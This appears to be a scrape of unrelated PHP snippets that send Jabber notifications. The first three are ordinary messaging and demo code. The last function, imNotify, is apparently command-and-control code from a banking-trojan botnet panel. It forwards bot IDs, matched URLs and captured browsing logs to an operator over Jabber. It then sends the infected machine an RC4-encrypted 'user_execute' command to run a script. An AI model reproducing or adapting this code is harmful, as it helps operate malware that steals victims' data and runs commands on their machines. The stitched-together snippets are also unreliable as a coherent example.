/** Notify [multiple] JIDs with [multiple] messages. * Re-users Jabber connection in case of multiple messages being sent * @param string|string[] Jabber ID[s] to send messages to * @param string|string[] Message[s] to send * @return TRUE|string[] Array of errors * * Uses $GLOBALS['config'] to get the jabber info */ function jabber_notify_now($jids, $messages) { if (is_string($jids)) { $jids = explode(',', $jids); } if (is_string($messages)) { $messages = array($messages); } if (count($messages) == 0) { return true; } static $jab = null; if (is_null($jab)) { require_once "system/jabberclass.php"; $jab = new Jabber(); $jab->server = $GLOBALS['config']['jabber']['host']; $jab->port = $GLOBALS['config']['jabber']['port']; $jab->username = $GLOBALS['config']['jabber']['login']; $jab->password = $GLOBALS['config']['jabber']['pass']; if (!@$jab->connect()) { return array('ERROR: Jabber::connect() failed to connect!'); } if (!@$jab->sendAuth()) { return array('ERROR: Jabber::sendAuth() failed!'); } } if (!@$jab->sendPresence(NULL, NULL, "online")) { return array('ERROR: Jabber::sendPresence() failed!'); } $errors = array(); foreach ($jids as $jid) { if (strlen($jid = trim($jid))) { foreach ($messages as $msg) { if (!@$jab->sendMessage($jid, "normal", NULL, array("body" => $msg))) { $errors[] = 'ERROR: Jabber::sendMessage() failed!'; } } } } // File log $datestr = date('Y.m.d H:i:s'); if (empty($errors) && !empty($GLOBALS['config']['reports_jn_logfile'])) { $f = @fopen($GLOBALS['config']['reports_jn_logfile'], 'a'); if ($f) { foreach ($messages as $message) { @fwrite($f, $message . "\n\n====================| {$datestr} |====================\n\n"); } @fclose($f); } } return count($errors) == 0 ? TRUE : $errors; }
public static function send($sendMessageTo, $message) { require_once 'class_Jabber.php'; $jab = new Jabber(); if (!is_array($sendMessageTo)) { $sendMessageTo = array($sendMessageTo); } new self($jab, $sendMessageTo, $message); if (!$jab->connect("vivid")) { throw new Kwf_Exception("Could not connect to the Jabber server"); } $jab->execute(1, 3); $jab->disconnect(); }
// create an instance of the Jabber class $display_debug_info = true; $jab = new Jabber($display_debug_info); // create an instance of our event handler class $test = new TestMessenger($jab); // set handlers for the events we wish to be notified about $jab->set_handler("connected", $test, "handleConnected"); $jab->set_handler("authenticated", $test, "handleAuthenticated"); $jab->set_handler("authfailure", $test, "handleAuthFailure"); $jab->set_handler("heartbeat", $test, "handleHeartbeat"); $jab->set_handler("error", $test, "handleError"); $jab->set_handler("message_normal", $test, "handleMessage"); $jab->set_handler("message_chat", $test, "handleMessage"); $jab->set_handler("debug_log", $test, "handleDebug"); $jab->set_handler("rosterupdate", $test, "handleRosterUpdate"); echo "Connecting ...\n"; // connect to the Jabber server if (!$jab->connect(JABBER_SERVER)) { die("Could not connect to the Jabber server!\n"); } // now, tell the Jabber class to begin its execution loop $jab->execute(CBK_FREQ, RUN_TIME); // Note that we will not reach this point (and the execute() method will not // return) until $jab->terminated is set to TRUE. The execute() method simply // loops, processing data from (and to) the Jabber server, and firing events // (which are handled by our TestMessenger class) until we tell it to terminate. // // This event-based model will be familiar to programmers who have worked on // desktop applications, particularly in Win32 environments. // disconnect from the Jabber server $jab->disconnect();
function imNotify(&$type, &$list, &$botId) { if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) { $ml = explode("", $GLOBALS['config']['reports_jn_list']); foreach ($ml as &$mask) { if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) { $message = htmlentities("Bot ID: " . $botId . "\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024)); error_reporting(0); if (strlen($GLOBALS['config']['reports_jn_logfile']) > 0 && ($fh = @fopen($GLOBALS['config']['reports_jn_logfile'], 'at')) !== false) { @fwrite($fh, $message . "\n\n" . str_repeat('=', 40) . "\n\n"); @fclose($fh); } require_once "system/jabberclass.php"; $jab = new Jabber(); $jab->server = $GLOBALS['config']['reports_jn_server']; $jab->port = $GLOBALS['config']['reports_jn_port']; $jab->username = $GLOBALS['config']['reports_jn_account']; $jab->password = $GLOBALS['config']['reports_jn_pass']; if ($jab->connect()) { $jab->sendAuth(); $jab->sendPresence(NULL, NULL, "online"); $jab->sendMessage($GLOBALS['config']['reports_jn_to'], "normal", NULL, array("body" => $message)); $jab->disconnect(); } if (strlen($GLOBALS['config']['reports_jn_script']) > 0) { $eid = md5($mask, true); $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f'; $size = strlen($eid) + strlen($script); $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script; $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData; visualEncrypt($replyData); rc4($replyData, $GLOBALS['config']['botnet_cryptkey_bin']); echo $replyData; die; } break; } } } }